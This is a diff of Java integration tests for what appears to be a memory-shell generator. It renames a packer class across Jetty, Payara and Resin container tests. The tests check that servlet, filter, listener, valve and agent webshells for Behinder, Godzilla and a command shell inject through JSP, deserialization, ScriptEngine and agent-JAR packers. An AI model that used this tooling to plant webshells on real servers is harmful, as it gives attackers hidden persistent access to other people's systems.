 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Jetty94ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -75,7 +75,7 @@ public class Jetty94ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

@@ -3,8 +3,7 @@ package com.reajason.javaweb.integration.payara;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.GlassFishShell;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,33 +41,33 @@ public class Payara5201ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine)
         );
     }
 
@@ -80,7 +79,7 @@ public class Payara5201ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.payara;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,24 +41,24 @@ public class Payara520225ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
         );
     }
 
@@ -70,7 +70,7 @@ public class Payara520225ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.payara;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,24 +41,24 @@ public class Payara620222ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize)
         );
     }
 
@@ -70,7 +70,7 @@ public class Payara620222ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -43,27 +43,27 @@ public class Resin3116ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -78,7 +78,7 @@ public class Resin3116ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,27 +43,27 @@ public class Resin318ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -75,7 +75,7 @@ public class Resin318ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Resin4058ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
